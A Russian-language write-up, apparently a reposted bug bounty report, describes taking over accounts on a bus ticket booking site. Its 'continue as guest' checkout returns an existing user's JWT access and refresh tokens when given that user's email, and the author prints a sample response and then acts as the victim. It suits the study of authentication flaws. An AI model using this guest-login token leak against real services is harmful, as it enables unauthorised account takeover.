Привет всем, сегодня я расскажу о том, как я смог захватить учетную запись без взаимодействия с пользователем, из-за одной неправильной настройки в гостевом входе.

Без лишних слов давайте приступим. Исследуемое веб-приложение является разновидностью платформы для бронирования автобусных билетов. Где я мог бронировать билеты, создав учетную запись, а также я мог бронировать билеты в качестве гостевого пользователя, предоставив электронную почту.
Адрес электронной почты жертвы: victim@test.com и у нее есть учетная запись в веб-приложении.
У меня также есть учетная запись в нем. После входа с адресом моей электронной почты и паролем, я нашел одну конечную точку API, которая с помощью GET-запроса и JWT предоставляет все мои данные.

Сначала я расшифровал этот JWT как некий идентификатор, но его сложно взломать.

Я пробовал найти способ применения этого JWT, но безуспешно. Я вышел из системы и попытался забронировать билет без входа в систему. Когда я попытался забронировать билет, он попросил войти.

Я просто нажал на кнопку «Продолжить как Гость», ввел случайное имя и адрес электронной почты жертвы.

В ответ я получил JWT жертвы.
{"code":10001,"result":"success","msg":"","output":{"user":{"firstName":"hacker","lastName":"","email":"
victim@test.com
","guest":true,"userName":"
victim@test.com
","countryCode":"","mobilePhone":"","gender":"string","promoEmail":true,"promoMobile":true,"reserveNotification":true,"arabic":false,"cardNumber":"","memberid":"","balance":"","balanceInCent":0,"userId":"","city":"","experienceIconUrl":"","needLogin":false,"dob":null,"tokens":{"access":{"token":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJDMUZwdFdNREw0Yz0iLCJpYXQiOjE3MDczNzc4MDgsImV4cCI6MTczODkxMzgwOH0.4hZ0jfMyFeNhNqp__6e8yK3pBsjZrVuPGN-oLMoIWo4","expires":"2025-02-07T07:36:48.738+00:00"},"refresh":{"token":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJDMUZwdFdNREw0Yz0iLCJpYXQiOjE3MDczNzc4MDgsImV4cCI6OTI1MzEwNTc4MDh9.Gc5Zx-MWT0Th65s0L_l0x6RNknsWPwCCtm3WWFDwKdA","expires":"4902-03-12T07:36:48.753+00:00"}}}}}

Скопировав JWT и перейдя к запросу, где я тестировал API /getprofile, я заменил свой JWT на новый...

Теперь, с этим JWT токеном, у меня есть доступ ко всем API, и я могу выполнять любые действия в качестве пользователя-жертвы. Я смог забронировать билет от имени жертвы.
Ещё больше познавательного контента в Telegram-канале — Life-Hack - Хакер